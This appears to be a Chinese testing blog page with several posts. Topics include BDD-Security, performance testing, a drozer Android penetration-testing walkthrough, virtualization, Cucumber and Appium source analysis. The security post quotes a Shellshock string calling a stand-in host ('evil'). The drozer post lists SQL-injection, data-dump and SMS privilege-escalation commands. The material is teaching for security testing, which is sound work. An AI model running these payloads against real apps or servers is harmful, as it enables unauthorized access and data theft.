qileilove

blog已经转移至github,大家请访问 http://qaseven.github.io/

2015年3月18日

在开发流程中嵌入安全测试

 ContinuumSecurity创始人Stephen de Vries,在Velocity Europe 2014大会上提出了持续且可视化的安全测试的观点。Stephen表示,那些在敏捷开发过程中用于将QA嵌入整个开发流程的方法和工具都能同样的用于安全测试。BDD-Security是一个基于JBehave,且遵循Given-When-Then方法的安全测试框架。
  传统的安全测试都遵循瀑布流程,也就是说安全团队总是在开发阶段的末期才参与进来,并且通常需要外部专家的帮助。在整个开发流程中,渗透测试总是被安排到很晚才做,使得为应用做安全防范的任务尤其困难且复杂。Stephen认为安全测试完全可以变得像QA一样:每个人都对安全问题负责;安全问题可以在更接近代码的层面考虑;安全测试完全可以嵌入一个持续集成的开发过程中。
  为了论证QA和安全测试只有量的区别而没有质的区别,Stephen展示了C. Maartmann-Moe和Bill Sempf分别发布的推特:
  从QA的角度:
  QA工程师走进一家酒吧,点了一杯啤酒;点了0杯啤酒;点了999999999杯啤酒;点了一只蜥蜴;点了-1杯啤酒;点了一个sfdeljknesv。
  从安全的角度:
  渗透测试工程师走进一家酒吧,点了一杯啤酒;点了”>杯啤酒;点了’or 1=1-杯啤酒;点了() { :; }; wget -O /beers http://evil; /杯啤酒。  要将安全测试集成进敏捷开发流程中,首先需要满足的条件是:可见性,以便采取及时应对措施并修补;可测试性,以便于自动化,比仅仅简单的扫描更有价值。Stephen发现BDD工具族就同时满足了可见性及可测试性,因此他开始着手构建BDD-Security安全测试框架。
  由于BDD-Security是基于JBehave构建的,因此它使用BDD的标准说明语言Gherkin。一个BDD-Security测试场景如下:
  Scenario: Transmit authentication credentials over HTTPS
  Meta: @id auth_https
  Given the browser is configured to use an intercepting proxy
  And the proxy logs are cleared
  And the default user logs in with credentials from: users.table
  And the HTTP request-response containing the default credentials is inspected
  Then the protocol should be HTTPS
  BDD-Security用户故事的编写与通常做法不太一样。BDD-Security说明页面上写着:
  本框架的架构设计使得安全用例故事与应用的特定导航逻辑相互独立,这意味着同一个用户故事仅需要做微小的改动就能用在多个应用中,有时甚至无需修改。
  这也说明BDD-Security框架认为对许多应用来说,有一系列安全需求都是普遍要满足的。也就是说你只需写代码把已有的故事插入你的应用——也就是导航逻辑中即可。当然,必要的时候你也完全可以编写自己的用户故事。
  BDD-Security依赖于第三方安全测试工具来执行具体的安全相关的行为,例如应用扫描。这些工具有OWASP ZAP或Nessus等。
  Stephen还提到其它一些有类似功能的工具。如Zap-WebDriver就是一款更简单的工具,不喜欢BDD方式的人可以考虑采用它。Gauntlt与BDD-Security框架类似,同样支持BDD,只是它使用的编程语言是Ruby。Mittn用Python编写并且同样也使用Gherkin。

posted @ 2015-03-18 22:10 顺其自然EVO 阅读(1719) | 评论 (0)编辑 收藏

如何进行Web服务的性能测试?

  随着浏览器功能的不断完善,用户量不断的攀升,涉及到web服务的功能在不断的增加,对于我们测试来说,我们不仅要保证服务端功能的正确性,也要验证服务端程序的性能是否符合要求。那么性能测试都要做些什么呢?我们该怎样进行性能测试呢?
  性能测试一般会围绕以下这些问题而进行:
  1. 什么情况下需要做性能测试?
  2. 什么时候做性能测试?
  3. 做性能测试需要准备哪些内容?
  4. 什么样的性能指标是符合要求的?
  5. 性能测试需要收集的数据有哪些?
  6. 怎样收集这些数据?
  7. 如何分析收集到的数据?
  8. 如何给出性能测试报告?
  性能测试的执行过程及要做的事儿主要包含以下内容:
  1. 测试评估阶段
  在这个阶段,我们要评估被测的产品是否要进行性能测试,并且对目前的服务器环境进行粗估,服务的性能是否满足条件。
  首先要明确只要涉及到准备上线的服务端产品,就需要进行性能测试。其次如果产品需求中明确提到了性能指标,那也必须要做性能测试。
  测试人员在进行性能测试前,需要根据当前的收集到的各种信息,预先做性能的评估,收集的内容主要包括带宽、请求包大小、并发用户数和当前web服务的带宽等
  2. 测试准备阶段
  在这个阶段,我们要了解以下内容:
  a. 服务器的架构是什么样的,例如:web服务器是什么?是如何配置的?数据库用的是什么?服务用的是什么语言编写的?;
  b. 服务端功能的内部逻辑实现;
  c. 服务端与数据库是如何交互的,例如:数据库的表结构是什么样的?服务端功能是怎样操作数据库的?
  d. 服务端与客户端之间是如何进行交互的,即接口定义;
  通过收集以上信息,测试人员整理出服务器端各模块之间的交互图,客户端与服务端之间的交互图以及服务端内部功能逻辑实现的流程图。
  e. 该服务上线后的用户量预估是多少,如果无法评估出用户量,那么可以通过设计测试执行的场景得出这个值;
  f. 上线要部署到多少台机器上,每台机器的负载均衡是如何设计的,每台机器的配置什么样的,网络环境是什么样的。
  g. 了解测试环境与线上环境的不同,例如网络环境、硬件配置等
  h. 制定测试执行的策略,是需要验证需求中的指标能否达到,还是评估系统的最大处理能力。
  i. 沟通上线的指标
  通过收集以上信息,确定性能测试用例该如何设计,如何设计性能测试用例执行的场景,以及上线指标的评估。
  3. 测试设计阶段
  根据测试人员通过之前整理的交互图和流程图,设计相应的性能测试用例。性能测试用例主要分为预期目标用户测试,用户并发测试,疲劳强度与大数量测试,网络性能测试,服务器性能测试,具体编写的测试用例要更具实际情况进行裁减。
  用例编写的步骤大致分为:
  a. 通过脚本模拟单一用户是如何使用这个web服务的。这里模拟的可以是用户使用web服务的某一个动作或某几个动作,某一个功能或几个功能,也可以是使用web服务的整个过程。
  b. 根据客户端的实际情况和服务器端的策略,通过将脚本中可变的数据进行参数化,来模拟多个用户的操作。
  c. 验证参数化后脚本功能的正确性。
  d. 添加检查点
  e. 设计脚本执行的策略,如每个功能的执行次数,各个功能的执行顺序等
  4. 测试执行阶段
  根据客户端的产品行为设计web服务的测试执行场景及测试执行的过程,即测试执行期间发生的事儿。通过监控程序收集web服务的性能数据和web服务所在系统的性能数据。
  在测试执行过程中,还要不断的关注以下内容:
  a. web服务的连接速度如何?
  b. 每秒的点击数如何?
  c. Web服务能允许多少个用户同时在线?
  d. 如果超过了这个数量,会出现什么现象?
  e. Web服务能否处理大量用户对同一个页面的请求?
  f. 如果web服务崩溃,是否会自动恢复?
  g. 系统能否同一时间响应大量用户的请求?
  h. 打压机的系统负载状态。
  5. 测试分析阶段
  将收集到的数据制成图表,查看各指标的性能变化曲线,结合之前确定的上线指标,对各项数据进行分析,已确定是否继续对web服务进行测试,结果是否达到了期望值。
  6. 测试验证阶段
  在开发针对发现的性能问题进行修复后,要再执行性能测试的用例对问题进行验证。这里需要关注的是开发在解决问题的同时可能无意中修改了某些功能,所以在验证性能的同时,也要关注原有功能是否受到了影响

posted @ 2015-03-18 22:08 顺其自然EVO 阅读(2039) | 评论 (1)编辑 收藏

利用drozer进行Android渗透测试

 一、安装与启动
  1. 安装
  第一步:从http://mwr.to/drozer下载Drozer (Windows Installer)
  第二步:在Android设备中安装agent.apk
  adb install agent.apk
  2. 启动
  第一步:在PC上使用adb进行端口转发,转发到Drozer使用的端口31415
  adb forward tcp:31415 tcp:31415
  第二步:在Android设备上开启Drozer Agent
  选择embedded server-enable
  第三步:在PC上开启Drozer console
  drozer console connect
  二、测试步骤
  1.获取包名
  dz> run app.package.list -f sieve
  com.mwr.example.sieve
  2.获取应用的基本信息
  run app.package.info -a com.mwr.example.sieve
  3.确定攻击面
  run app.package.attacksurface com.mwr.example.sieve
  4.Activity
  (1)获取activity信息
  run app.activity.info -a com.mwr.example.sieve
  (2)启动activity
  run app.activity.start --component com.mwr.example.sieve
  dz> help app.activity.start
  usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
  [--component PACKAGE COMPONENT] [--data-uri DATA_URI]
  [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
  [--mimetype MIMETYPE]
  5.Content Provider
  (1)获取Content Provider信息
  run app.provider.info -a com.mwr.example.sieve
  (2)Content Providers(数据泄露)
  先获取所有可以访问的Uri:
  run scanner.provider.finduris -a com.mwr.example.sieve
  获取各个Uri的数据:
  run app.provider.query
  content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
  查询到数据说明存在漏洞
  (3)Content Providers(SQL注入)
  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
  报错则说明存在SQL注入。
  列出所有表:
  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
  获取某个表(如Key)中的数据:
  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
  (4)同时检测SQL注入和目录遍历
  run scanner.provider.injection -a com.mwr.example.sieve
  run scanner.provider.traversal -a com.mwr.example.sieve
  6 intent组件触发(拒绝服务、权限提升)
  利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。
  1.查看暴露的广播组件信息:
  run app.broadcast.info -a com.package.name  获取broadcast receivers信息
  run app.broadcast.send --component 包名 --action android.intent.action.XXX
  2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):
  run app.broadcast.send 通过intent发送broadcast receiver
  (1)   空action
  run app.broadcast.send --component 包名 ReceiverName
  run app.broadcast.send --component 包名 ReceiverName
  (2)   空extras
  run app.broadcast.send --action android.intent.action.XXX
  3.尝试权限提升
  权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具,可以参考IntentFuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令:
  (1)获取service详情
  run app.service.info -a com.mwr.example.sieve
  不使用drozer启动service
  am startservice –n 包名/service名
  (2)权限提升
  run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
  7.文件操作
  列出指定文件路径里全局可写/可读的文件
  run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
  run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
  run app.broadcast.send --component 包名 --action android.intent.action.XXX
  8.其它模块
  shell.start 在设备上开启一个交互shell
  tools.file.upload / tools.file.download 上传/下载文件到设备
  tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件

posted @ 2015-03-18 22:06 顺其自然EVO 阅读(2838) | 评论 (0)编辑 收藏

在服务器虚拟化架构中有哪些技术功能和益处

关于服务器虚拟化的概念,业界有不同的定义,但其核心是一致的,即它是一种方法,能够在整合多个应用服务的同时,通过区分应用服务的优先次序将服务器资源分配给最需要它们的工作负载来简化管理和提高效率。其主要功能包括以下四个方面:
  集成整合功能。虚拟化服务器主要是由物理服务器和虚拟化程序构成的,通过把一台物理服务器划分为多个虚拟机,或者把若干个分散的物理服务器虚拟为一个整体逻辑服务器,从而将多个操作系统和应用服务整合到强大的虚拟化架构上。
  动态迁移功能。这里所说的动态迁移主要是指V2V(虚拟机到虚拟机的迁移)技术。具体来讲,当某一个服务器因故障停机时,其承载的虚拟机可以自动切换到另一台虚拟服务器,而在整个过程中应用服务不会中断,实现系统零宕机在线迁移。
  资源分配功能。虚拟化架构技术中引入了动态资源调度技术,系统将所有虚拟服务器作为一个整体资源统一进行管理,并按实际需求自动进行动态资源调配,在保证系统稳定运行的前提下,实现资源利用最大化。
  强大的管理控制界面。通过可视化界面实时监控物理服务器以及各虚拟机的运行情况,实现对全部虚拟资源的管理、维护及部署等操作。
  服务器虚拟化的益处
  采用服务器虚拟化技术的益处主要表现在以下几个方面。
  节省采购费用。通过虚拟化技术对应用服务器进行整合,可以大幅缩减企业在采购环节的开支,在硬件环节可以为企业节省34%~80%的采购成本。
  同时,还可以节省软件采购费用。软件许可成本是企业不可忽视的重要支出。而随着微软、红帽等软件巨头的加入,虚拟化架构技术在软件成本上的优势也逐渐得以体现。
  降低系统运行维护成本。由于虚拟化在整合服务器的同时采用了更为出色的管理工具,减少了管理维护人员在网络、线路、软硬件维护方面的工作量,信息部门得以从传统的维护管理工作中解放出来,将更多的时间和精力用于推动创新工作和业务增长等活动,这也为企业带来了利益。
  通过虚拟化技术可以减少物理服务器的数量,这就意味着企业机房耗电量、散热量的降低,同时还为企业节省了空调、机房配套设备的改造升级费用。
  提高资源利用率。保障业务系统的快速部署是信息化工作的一项重要指标,而传统模式中服务器的采购安装周期较长,一定程度上限制了系统部署效率。利用虚拟化技术,可以快速搭建虚拟系统平台,大幅缩减部署筹备时间,提高工作效率。
  由于虚拟化服务器具有动态资源分配功能,因此当一台虚拟机的应用负载趋于饱和时,系统会根据之前定义的分配规则自动进行资源调配。根据大部分虚拟化技术厂商提供的数据指标来看,通过虚拟化整合服务器后,资源平均利用率可以从5%~15%提高到60%~80%。
  提高系统的安全性。传统服务器硬件维护通常需要数天的筹备期和数小时的维护窗口期。而在虚拟化架构技术环境下,服务器迁移只需要几秒钟的时间。由于迁移过程中服务没有中断,管理员无须申请系统停机,在降低管理维护工作量的同时,提高系统运行连续性。
  目前虚拟化主流技术厂商均在其虚拟化平台中引入数据快照以及虚拟存储等安全机制,因此在数据安全等级和系统容灾能力方面,较原有单机运行模式有了较大提高。

目前 我司正在应用aws 确实很不错,节省成本 服务稳定,比什么阿里云 强了不知道多少倍

posted @ 2015-03-18 22:03 顺其自然EVO 阅读(1138) | 评论 (1)编辑 收藏

阅读《测试用例指南》笔记

1.测试用例 :分有基本流和备选流。
  2.要先确定测试用例描述,再在测试用例 实施矩阵中确定相应的测试用例数据。
  3.从补充规约中生成测试用例
  (1)为性能测试生成测试用例
  (2)为安全性/访问控制测试生成测试用例
  关键:先指定执行用例的主角
  (3)为配置测试生成测试用例
  主要是为了核实测试目标在不同的配置情况下(如不同的OS,Browser,CPU速度等)是否能正常 地 工作或执行。
  针对第个关键配置,每个可能有问题的配置都至少应该有一个测试用例。
  (4)为安装测试生成测试用例
  a.需要对以下各种安装情况设计测试用例:
  分发介质(如磁盘,CD-ROM和文件服务器)
  首次安装
  完全安装
  自定义安装
  升级安装
  b.测试目标应包括所有构件的安装
  客户机,中间层,服务器
  (5)为其他非功能性测试生成测试用例
  如操作测试,对性能瓶颈,系统容量或测试目标的强度承受能力进行调查的测试用例
  4.在白盒测试黑盒测试的同时都应该进行可靠性测试。
  5.为产品验收测试生成测试用例
  6.为回归测试编制测试用例
  a.回归测试是比较同一测试目标的两个版本或版本,并将将差异确定为潜在的缺陷。
  b.为使测试用例发挥回归测试和复用的价值,同时将维护成本减至最低,应:
  确保测试用例只确定关键的数据元素(创建/支持被测试的条件支持的测上试用例)
  确保每个测试用例都说明或代表一个唯一的输入集或事件序列,其结果是独特的测试目标行为
  消除多余或等效的测试用例
  将具有相同的测试目标初始状态和测试数据状态的测试用例组合在一起

posted @ 2015-03-18 22:00 顺其自然EVO 阅读(1192) | 评论 (0)编辑 收藏

2014年12月28日

行为驱动开发: Cucumber的目录结构和执行过程

行为驱动开发: Cucumber的目录结构和执行过程

      Cucumber是Ruby世界的BDD框架,开发人员主要与两类文件打交到,Feature文件和相应的Step文件。Feature文件是以feature为后缀名的文件,以Given-When-Then的方式描述了系统的场景(scenarios)行为;Step文件为普通的Ruby文件,Feature文件中的每个Given/When/Then步骤在Step文件中都有对应的Ruby执行代码,两类文件通过正则表达式相关联。笔者在用Cucumber+Watir做回归测试时对Cucumber工程的目录结构执行过程进行了研究。

安装好Cucumber后,如果在终端直接执行cucumber命令,得到以下输出:

输出结果表明:cucumber期待当前目录下存在名为features的子目录。建好features文件夹后,重新执行cucumber命令,输出如下:

Cucumber运行成功,但由于features文件夹下没有任何内容,故得到上述输出结果。

网上大多数关于Cucumber的教程都建议采用以下目录结构,所有的文件(夹)都位于features文件夹下。

Feature文件(如test.feature)直接位于features文件夹下,可以为每个应用场景创建一个Feature文件;与Feature文件对应的Step文件(如test.rb)位于step_definitions子文件夹下;同时,存在support子文件夹,其下的env.rb文件为环境配置文件。在这样的目录结构条件下执行cucumber命令,会首先执行env.rb做前期准备工作,比如可以用Watir新建浏览器窗口,然后Cucumber将test.rb文件读入内存,最后执行test.feature文件,当遇到Given/When/Then步骤时,Cucumber将在test.rb中搜索是否有相应的step,如果有,则执行相应的Ruby代码。

这样的目录结构只是推荐的目录结构,笔者通过反复的试验得出了以下结论:对于Cucumber而言,除了顶层的features文件夹是强制性的之外,其它目录结构都不是强制性的,Cucumber将对features文件夹下的所有内容进行扁平化(flatten)处理和首字母排序。具体来说,Cucumber在运行时,首先将递归的执行features文件夹下的所有Ruby文件(其中则包括Step文件),然后通过相同的方式执行Feature文件。但是,如果features文件夹下存在support子文件夹,并且support下有名为env.rb的文件,Cucumber将首先执行该文件,然后执行support下的其它文件,再递归执行featues下的其它文件。

比如有如下Cucumber目录结构:

为了方便记录Cucumber运行时的文件执行顺序,在features文件夹下的所有Ruby文件中加上以下代码:

puts File.basename(__FILE__)

此行代码的作用是在一个Ruby文件执行时输出该文件的名字,此时执行cucumber命令,得到以下输出(部分)结果:

上图即为Ruby文件的执行顺序,可以看出,support文件夹下env.rb文件首先被执行,其次按照字母排序执行c.rb和d.rb;接下来,Cucumber将features文件夹下的所用文件(夹)扁平化,并按字母顺序排序,从而先执行a.rb和b.rb,而由于other文件夹排在step_definitions文件夹的前面,所以先执行other文件夹下的Ruby文件(也是按字母顺序执行:先f.rb,然后g.rb),最后执行step_definitions下的e.rb。

当执行完所有Ruby文件后,Cucumber开始依次读取Feature文件,执行顺序也和前述一样,即: a.feature --> b.feature --> c.feature

笔者还发现,这些Ruby文件甚至可以位于features文件夹之外的任何地方,只是需要在位于features文件夹之内的Ruby文件中require一下,比如在env.rb中。

posted @ 2014-12-28 01:29 顺其自然EVO 阅读(1194) | 评论 (0)编辑 收藏

2014年12月23日

Appium Android Bootstrap之控件AndroidElement

AndroidElementHash的这个getElement命令要做的事情就是针对这两点来根据不同情况获得目标控件
/**
* Return an elements child given the key (context id), or uses the selector
* to get the element.
*
* @param sel
* @param key
*          Element id.
* @return {@link AndroidElement}
* @throws ElementNotFoundException
*/
public AndroidElement getElement(final UiSelector sel, final String key)
throws ElementNotFoundException {
AndroidElement baseEl;
baseEl = elements.get(key);
UiObject el;
if (baseEl == null) {
el = new UiObject(sel);
} else {
try {
el = baseEl.getChild(sel);
} catch (final UiObjectNotFoundException e) {
throw new ElementNotFoundException();
}
}
if (el.exists()) {
return addElement(el);
} else {
throw new ElementNotFoundException();
}
}
  如果是第1种情况就直接通过选择子构建UiObject对象,然后通过addElement把UiObject对象转换成AndroidElement对象保存到控件哈希表
  如果是第2种情况就先根据appium传过来的控件哈希表键值获得父控件,再通过子控件的选择子在父控件的基础上查找到目标UiObject控件,最后跟上面一样把该控件通过上面的addElement把UiObject控件转换成AndroidElement控件对象保存到控件哈希表
  4. 求证
  上面有提过,如果pc端的脚本执行对同一个控件的两次findElement会创建两个不同id的AndroidElement并存放到控件哈希表中,那么为什么appium的团队没有做一个增强,增加一个keyMap的方法(算法)和一些额外的信息来让同一个控件使用不同的key的时候对应的还是同一个AndroidElement控件呢?毕竟这才是哈希表实用的特性之一了,不然你直接用一个Dictionary不就完事了?网上说了几点hashtable和dictionary的差别,如多线程环境最好使用哈希表而非字典等,但在bootstrap这个控件哈希表的情况下我不是很信服这些说法,有谁清楚的还劳烦指点一二了
  这里至于为什么appium不去提供额外的key信息并且实现keyMap算法,我个人倒是认为有如下原因:
  有谁这么无聊在同一个测试方法中对同一个控件查找两次?
  如果同一个控件运用不同的选择子查找两次的话,因为最终底层的UiObject的成员变量UiSelector mSelector不一样,所以确实可以认为是不同的控件
  但以下两个如果用同样的UiSelector选择子来查找控件的情况我就解析不了了,毕竟在我看来bootstrap这边应该把它们看成是同一个对象的:
  同一个脚本不同的方法中分别对同一控件用同样的UiSelelctor选择子进行查找呢?
  不同脚本中呢?
  这些也许在今后深入了解中得到解决,但看家如果知道的,还望不吝赐教
  5. 小结
  最后我们对bootstrap的控件相关知识点做一个总结
  AndroidElement的一个实例代表了一个bootstrap的控件
  AndroidElement控件的成员变量UiObject el代表了uiautomator框架中的一个真实窗口控件,通过它就可以直接透过uiautomator框架对控件进行实质性操作
  pc端的WebElement元素和Bootstrap的AndroidElement控件是通过AndroidElement控件的String id进行映射关联的
  AndroidElementHash类维护了一个以AndroidElement的id为键值,以AndroidElement的实例为value的全局唯一哈希表,pc端想要获得一个控件的时候会先从这个哈希表查找,如果没有了再创建新的AndroidElement控件并加入到该哈希表中,所以该哈希表中维护的是一个当前已经使用过的控件
相关文章:
Appium Android Bootstrap源码分析之简介
 通过上一篇文章Appium Android Bootstrap源码分析之简介》我们对bootstrap的定义以及其在appium和uiautomator处于一个什么样的位置有了一个初步的了解,那么按照正常的写书的思路,下一个章节应该就要去看bootstrap是如何建立socket来获取数据然后怎样进行处理的了。但本人觉得这样子做并不会太好,因为到时整篇文章会变得非常的冗长,因为你在编写的过程中碰到不认识的类又要跳入进去进行说明分析。这里我觉得应该尝试吸取著名的《重构》这本书的建议:一个方法的代码不要写得太长,不然可读性会很差,尽量把其分解成不同的函数。那我们这里就是用类似的思想,不要尝试在一个文章中把所有的事情都做完,而是尝试先把关键的类给描述清楚,最后才去把这些类通过一个实例分析给串起来呈现给读者,这样大家就不会因为一个文章太长影响可读性而放弃往下学习了。
  那么我们这里为什么先说bootstrap对控件的处理,而非刚才提到的socket相关的socket服务器的建立呢?我是这样子看待的,大家看到本人这篇文章的时候,很有可能之前已经了解过本人针对uiautomator源码分析那个系列的文章了,或者已经有uiautomator的相关知识,所以脑袋里会比较迫切的想知道究竟appium是怎么运用了uiautomator的,那么在appium中于这个问题最贴切的就是appium在服务器端是怎么使用了uiautomator的控件的。
  这里我们主要会分析两个类:
  AndroidElement:代表了bootstrap持有的一个ui界面的控件的类,它拥有一个UiObject成员对象和一个代表其在下面的哈希表的键值的String类型成员变量id
  AndroidElementsHash:持有了一个包含所有bootstrap(也就是appium)曾经见到过的(也就是脚本代码中findElement方法找到过的)控件的哈希表,它的key就是AndroidElement中的id,每当appium通过findElement找到一个新控件这个id就会+1,Appium的pc端和bootstrap端都会持有这个控件的id键值,当需要调用一个控件的方法时就需要把代表这个控件的id键值传过来让bootstrap可以从这个哈希表找到对应的控件
  1. AndroidElement和UiObject的组合关系
  从上面的描述我们可以知道,AndroidElement这个类里面拥有一个UiObject这个变量:
  public class AndroidElement {
  private final UiObject el;
  private String         id;
  ...
  }
  大家都知道UiObject其实就是UiAutomator里面代表一个控件的类,通过它就能够对控件进行操作(当然最终还是通过UiAutomation框架). AnroidElement就是通过它来跟UiAutomator发生关系的。我们可以看到下面的AndroidElement的点击click方法其实就是很干脆的调用了UiObject的click方法:
  public boolean click() throws UiObjectNotFoundException {
  return el.click();
  }
  当然这里除了click还有很多控件相关的操作,比如dragTo,getText,longClick等,但无一例外,都是通过UiObject来实现的,这里就不一一列举了。
  2. 脚本的WebElement和Bootstrap的AndroidElement的映射关系
  我们在脚本上对控件的认识就是一个WebElement:
  WebElement addNote =  driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
  而在Bootstrap中一个对象就是一个AndroidElement. 那么它们是怎么映射到一起的呢?我们其实可以先看如下的代码:
  WebElement addNote = driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
  addNote.getText();
  addNote.click();
  做的事情就是获得Notes这个app的菜单,然后调用控件的getText来获得‘Add note'控件的文本信息,以及通过控件的click方法来点击该控件。那么我们看下调试信息是怎样的:

pc端传过来的json字串有几个fields:
  cmd:代表这个是什么命令类型,其实就是AndroidCommandType的那两个值
  package io.appium.android.bootstrap;
  /**
  * Enumeration for all the command types.
  *
  */
  public enum AndroidCommandType {
  ACTION, SHUTDOWN
  }
  action: 具体命令
  params: 提供的参数,这里提供了一个elementId的键值对
  从上面的两条调试信息看来,其实没有明显的看到究竟使用的是哪个控件。其实这里不起眼的elementId就是确定用的是哪个控件的,注意这个elementId并不是一个控件在界面上的资源id,它其实是Bootstrap维护的一个保存所有已经获取过的控件的哈希表的键值。如上一小节看到的,每一个AndroidElement都有两个重要的成员变量:
  UiObject el :uiautomator框架中代表了一个真实的窗口控件
  Sting id :  一个唯一的自动增加的字串类型整数,pc端就是通过它来在AndroidElementHash这个类中找到想要的控件的
  3. AndroidElement控件哈希表
  上一节我们说到appium pc端是通过id把WebElement和目标机器端的AndroidElement映射起来的,那么我们这一节就来看下维护AndroidElement的这个哈希表是怎么实现的。
  首先,它拥有两个成员变量:
  private final Hashtable<String, AndroidElement> elements;
  private       Integer                           counter;
  elements :一个以AndroidElement 的id的字串类型为key,以AndroidElement的实例为value的的哈希表
  counter : 一个整型变量,有两个作用:其一是它代表了当前已经用到的控件的数目(其实也不完全是,你在脚本中对同一个控件调用两次findElement其实会产生两个不同id的AndroidElement控件),其二是它代表了一个新用到的控件的id,而这个id就是上面的elements哈希表的键
  这个哈希表的键值都是从0开始的,请看它的构造函数:
  /**
  * Constructor
  */
  public AndroidElementsHash() {
  counter = 0;
  elements = new Hashtable<String, AndroidElement>();
  }
  而它在整个Bootstrap中是有且只有一个实例的,且看它的单例模式实现:
  public static AndroidElementsHash getInstance() {
  if (AndroidElementsHash.instance == null) {
  AndroidElementsHash.instance = new AndroidElementsHash();
  }
  return AndroidElementsHash.instance;
  }
  以下增加一个控件的方法addElement充分描述了为什么说counter是一个自增加的key,且是每个新发现的AndroidElement控件的id:
  public AndroidElement addElement(final UiObject element) {
  counter++;
  final String key = counter.toString();
  final AndroidElement el = new AndroidElement(key, element);
  elements.put(key, el);
  return el;
  }
  从Appium发过来的控件查找命令大方向上分两类:
  1. 直接基于Appium Driver来查找,这种情况下appium发过来的json命令是不包含控件哈希表的键值信息的
  WebElement addNote = driver.findElement(By.name("Add note"));
  2. 基于父控件查找:
  WebElement el = driver.findElement(By.className("android.widget.ListView")).findElement(By.name("Note1"));
  以上的脚本会先尝试找到Note1这个日记的父控件ListView,并把这个控件保存到控件哈希表,然后再根据父控件的哈希表键值以及子控件的选择子找到想要的Note1:

posted @ 2014-12-23 00:26 顺其自然EVO 阅读(1200) | 评论 (0)编辑 收藏

Appium Android Bootstrap源码分析之命令解析执行

通过上一篇文章Appium Android Bootstrap源码分析之控件AndroidElement》我们知道了Appium从pc端发送过来的命令如果是控件相关的话,最终目标控件在bootstrap中是以AndroidElement对象的方式呈现出来的,并且该控件对象会在AndroidElementHash维护的控件哈希表中保存起来。但是appium触发一个命令除了需要提供是否与控件相关这个信息外,还需要其他的一些信息,比如,这个是什么命令?这个就是我们这篇文章需要讨论的话题了。
  下面我们还是先看一下从pc端发过来的json的格式是怎么样的:
  可以看到里面除了params指定的是哪一个控件之外,还指定了另外两个信息:
  cmd: 这是一个action还是一个shutdown
  action:如果是一个action的话,那么是什么action
  开始前我们先简要描述下我们需要涉及到几个关键类:
1. Appium命令解析器AndroidCommand
  AndroidCommand这个类真实的作用其实就是去把Appium从pc端发送过来的那串json命令解析出来,它拥有两个成员变量:
  JSONObject         json;
  AndroidCommandType cmdType;
  json就是pc过来的json格式的那串命令,cmdType就是action或者shutdown,其实就是用来把这个类伪装成更像个命令类而已,我认为如果不提供这个成员变量而直接修改其getType的实现去解析json字串直接获得对应的AndroidCommandType,然后把这个类的名字改成AndroidCommandParser得了。
  那么我们往下看下AndroidCommand究竟是怎么对客户端命令进行解析的,它的方法都很短,所以我把它做成一个表,这样比较清晰点:
  从表中的这些方法可以看出来,这个类所做的事情基本上都是怎么去解析appium从pc端过来的那串json字串。

  2. Action与CommandHandler的映射关系
  从上面描述可以知道,一个action就是一个代表该命令的字串,比如‘click’。但是一个字串是不能去执行的啊,所以我们需要有一种方式把它转换成可以执行的代码,这个就是AndroidCommandExecutor维护的一个静态HashMap map所做的事情:
class AndroidCommandExecutor {
private static HashMap<String, CommandHandler> map = new HashMap<String, CommandHandler>();
static {
map.put("waitForIdle", new WaitForIdle());
map.put("clear", new Clear());
map.put("orientation", new Orientation());
map.put("swipe", new Swipe());
map.put("flick", new Flick());
map.put("drag", new Drag());
map.put("pinch", new Pinch());
map.put("click", new Click());
map.put("touchLongClick", new TouchLongClick());
map.put("touchDown", new TouchDown());
map.put("touchUp", new TouchUp());
map.put("touchMove", new TouchMove());
map.put("getText", new GetText());
map.put("setText", new SetText());
map.put("getName", new GetName());
map.put("getAttribute", new GetAttribute());
map.put("getDeviceSize", new GetDeviceSize());
map.put("scrollTo", new ScrollTo());
map.put("find", new Find());
map.put("getLocation", new GetLocation());
map.put("getSize", new GetSize());
map.put("wake", new Wake());
map.put("pressBack", new PressBack());
map.put("pressKeyCode", new PressKeyCode());
map.put("longPressKeyCode", new LongPressKeyCode());
map.put("takeScreenshot", new TakeScreenshot());
map.put("updateStrings", new UpdateStrings());
map.put("getDataDir", new GetDataDir());
map.put("performMultiPointerGesture", new MultiPointerGesture());
map.put("openNotification", new OpenNotification());
map.put("source", new Source());
map.put("compressedLayoutHierarchy", new CompressedLayoutHierarchy());
}
  这个map指定了我们支持的pc端过来的所有action,以及对应的处理该action的类的实例,其实这些类都是CommandHandler的子类基本上就只有一个:去实现CommandHandler的虚拟方法execute!要做的事情就大概就这几类:
  控件相关的action:调用AndroidElement控件的成员变量UiObject el对应的方法来执行真实的操作
  UiDevice相关的action:调用UiDevice提供的方法
  UiScrollable相关的action:调用UiScrollable提供的方法
  UiAutomator那5个对象都没有的action:该调用InteractionController的就反射调用,该调用QueryController的就反射调用。注意这两个类UiAutomator是没有提供直接调用的方法的,所以只能通过反射。更多这两个类的信息请翻看之前的UiAutomator源码分析相关的文章
  其他:如取得compressedLayoutHierarchy
  指导action向CommandHandler真正发生转换的地方是在这个AndroidCommandExecutor的execute方法中:
public AndroidCommandResult execute(final AndroidCommand command) {
try {
